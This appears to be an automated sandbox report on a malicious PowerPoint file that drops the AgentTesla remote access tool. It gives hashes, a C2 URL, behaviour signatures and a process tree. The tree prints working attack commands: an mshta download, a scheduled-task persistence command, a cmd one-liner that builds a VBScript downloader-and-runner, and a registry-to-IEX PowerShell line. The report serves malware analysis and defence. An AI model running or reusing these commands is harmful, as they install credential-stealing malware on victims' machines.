Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    22-04-2021 07:04

General

  • Target

    Remittance_PO-89488484.ppt

  • Size

    62KB

  • MD5

    b89f3f4467df6600138ba12eb1522f95

  • SHA1

    9d2567c6ebb4168b0670d4c00a7986de5c83a719

  • SHA256

    30969a11fe37f466bf5a9501d1c705e48a0073b725371062d9d9f889cc4b8156

  • SHA512

    3a127bd31192a8a7ee67c407887c62b40e1c113ff49a2cc1fae0ea6dd58198c60308ee13898f642d63deaf6ec561e52f15d396fd05f7f5fbf5c66ebdd0b58e55

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://j.mp/ghduiqhwdbiiqwgd

Extracted

Family

agenttesla

C2

http://103.133.105.179/mastermana/tony/inc/ed30348c60cb8b.php

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • AgentTesla Payload 3 IoCs
  • Blocklisted process makes network request 14 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Adds Run key to start application 2 TTPs 5 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies Internet Explorer settings 1 TTPs 10 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 42 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Remittance_PO-89488484.ppt"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:1096
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1216
      • C:\Windows\SysWOW64\mshta.exe
        "mshta""https://j.mp/ghduiqhwdbiiqwgd"
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Adds Run key to start application
        • Modifies Internet Explorer settings
        • Modifies system certificate store
        • Suspicious use of WriteProcessMemory
        PID:1424
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""WIND0WSUPLATE"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://1230948%[email protected]/p/razamana.html""\"", 0 : window.close"\")
          3⤵
          • Creates scheduled task(s)
          PID:1768
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c cd C:\Users\Public &@echo dim http_obj >>SiggiaW.vbs &@echo dim stream_obj >>SiggiaW.vbs &@echo dim shell_obj >>SiggiaW.vbs &@echo set http_obj = CreateObject("Microsoft.XMLHTTP") >>SiggiaW.vbs &@echo set stream_obj = CreateObject("ADODB.Stream") >>SiggiaW.vbs &@echo set shell_obj = CreateObject("WScript.Shell") >>SiggiaW.vbs &@echo URL = "https://ia801408.us.archive.org/25/items/defender_202103/defender.txt" >>SiggiaW.vbs &@echo http_obj.open "GET", URL, False >>SiggiaW.vbs &@echo http_obj.send >>SiggiaW.vbs &@echo stream_obj.type = 1 >>SiggiaW.vbs &@echo stream_obj.open >>SiggiaW.vbs &@echo stream_obj.write http_obj.responseBody >>SiggiaW.vbs &@echo stream_obj.savetofile "C:\Users\Public\1.txt", 2 >>SiggiaW.vbs &@echo Dim xxx >>SiggiaW.vbs &@echo Set xxx = CreateObject("Scripting.FileSystemObject") >>SiggiaW.vbs &@echo Set file = xxx.OpenTextFile("C:\Users\Public\1.txt", 1) >>SiggiaW.vbs &@echo content = file.ReadAll >>SiggiaW.vbs &@echo content = StrReverse(content) >>SiggiaW.vbs &@echo Dim fso >>SiggiaW.vbs &@echo Dim fdsafdsa >>SiggiaW.vbs &@echo Dim oNode, fdsaa >>SiggiaW.vbs &@echo Const adTypeBinary = 1 >>SiggiaW.vbs &@echo Const adSaveCreateOverWrite = 2 >>SiggiaW.vbs &@echo Set oNode = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64") >>SiggiaW.vbs &@echo oNode.dataType = "bin.base64" >>SiggiaW.vbs &@echo oNode.Text = content >>SiggiaW.vbs &@echo Set fdsaa = CreateObject("ADODB.Stream") >>SiggiaW.vbs &@echo fdsaa.Type = adTypeBinary >>SiggiaW.vbs &@echo tempdir = CreateObject("WScript.Shell").ExpandEnvironmentStrings("C:\Users\Public\bin.vbs") >>SiggiaW.vbs &@echo LocalFile = tempdir >>SiggiaW.vbs &@echo fdsaa.Open >>SiggiaW.vbs &@echo fdsaa.Write oNode.nodeTypedValue >>SiggiaW.vbs &@echo fdsaa.SaveToFile LocalFile, adSaveCreateOverWrite >>SiggiaW.vbs &@echo Set fso = CreateObject("Scripting.FileSystemObject") >>SiggiaW.vbs &@echo Set fdsafdsa = CreateObject("WScript.Shell") >>SiggiaW.vbs &@echo If (fso.FileExists(LocalFile)) Then >>SiggiaW.vbs &@echo fdsafdsa.RUN (LocalFile) >>SiggiaW.vbs &@echo End If>>SiggiaW.vbs& SiggiaW.vbs &dEl SiggiaW.vbs
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1612
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Public\SiggiaW.vbs"
            4⤵
            • Blocklisted process makes network request
            • Modifies system certificate store
            PID:304
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -noexit ((gp HKCU:\Software).MSOFFICELO)|IEX
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:852
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        #cmd
        2⤵
        • Drops file in Drivers directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:1328

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
      MD5

      41ada6472fb7d90d0e3f4cef7362dfdb

      SHA1

      320de05ef5c21f3d84755d7c1305004491b48ae3

      SHA256

      7d002bf5de4e3c17c11ca42cb10bde853f8940e27964caf4105cd583d05baab1

      SHA512

      8839ec7972b4d80980d8301c3ba56e131cd16bc9804241926ab103cf9d508a7b18d0b2e2e83766ab7932ae7af82b2574d5080d73893ca0a81aad19fdc7da6773

    • C:\Users\Public\SiggiaW.vbs
      MD5

      552bd91430a1338b61b48ebbe2e6777f

      SHA1

      00fc1370a965a49522ca47ceb607f20434453c85

      SHA256

      c3d618fc10777dc03a98f892ca3a49e2eda96bb72a9392007e1be7257aaa96ad

      SHA512

      0f27f7629c21fde76679a8a7492d846a7affcb9ed5efb7f7765488069b9e93b4e0cc45e3f79ed481aa923176ceea2fd04d9eb8e820c355de607a678e61254b39

    • memory/304-73-0x0000000000000000-mapping.dmp
    • memory/852-82-0x000000001B550000-0x000000001B551000-memory.dmp
      Filesize

      4KB

    • memory/852-77-0x000000001AC20000-0x000000001AC22000-memory.dmp
      Filesize

      8KB

    • memory/852-85-0x0000000002610000-0x0000000002622000-memory.dmp
      Filesize

      72KB

    • memory/852-84-0x00000000025E0000-0x00000000025E2000-memory.dmp
      Filesize

      8KB

    • memory/852-83-0x00000000025D0000-0x00000000025D4000-memory.dmp
      Filesize

      16KB

    • memory/852-81-0x000000001B8C0000-0x000000001B8C1000-memory.dmp
      Filesize

      4KB

    • memory/852-70-0x000000001ACA0000-0x000000001ACA1000-memory.dmp
      Filesize

      4KB

    • memory/852-69-0x00000000022D0000-0x00000000022D1000-memory.dmp
      Filesize

      4KB

    • memory/852-80-0x0000000002500000-0x0000000002501000-memory.dmp
      Filesize

      4KB

    • memory/852-78-0x000000001AC24000-0x000000001AC26000-memory.dmp
      Filesize

      8KB

    • memory/852-74-0x00000000023B0000-0x00000000023B1000-memory.dmp
      Filesize

      4KB

    • memory/1096-59-0x0000000073811000-0x0000000073815000-memory.dmp
      Filesize

      16KB

    • memory/1096-61-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1096-64-0x00000000056D0000-0x00000000056D2000-memory.dmp
      Filesize

      8KB

    • memory/1096-60-0x0000000070EB1000-0x0000000070EB3000-memory.dmp
      Filesize

      8KB

    • memory/1096-66-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1216-63-0x000007FEFB6B1000-0x000007FEFB6B3000-memory.dmp
      Filesize

      8KB

    • memory/1216-62-0x0000000000000000-mapping.dmp
    • memory/1328-87-0x00000000004376BE-mapping.dmp
    • memory/1328-86-0x0000000000400000-0x000000000043C000-memory.dmp
      Filesize

      240KB

    • memory/1328-88-0x0000000000400000-0x000000000043C000-memory.dmp
      Filesize

      240KB

    • memory/1328-90-0x0000000004A90000-0x0000000004A91000-memory.dmp
      Filesize

      4KB

    • memory/1328-91-0x0000000004A91000-0x0000000004A92000-memory.dmp
      Filesize

      4KB

    • memory/1424-65-0x0000000000000000-mapping.dmp
    • memory/1612-71-0x0000000000000000-mapping.dmp
    • memory/1612-72-0x0000000075281000-0x0000000075283000-memory.dmp
      Filesize

      8KB

    • memory/1768-67-0x0000000000000000-mapping.dmp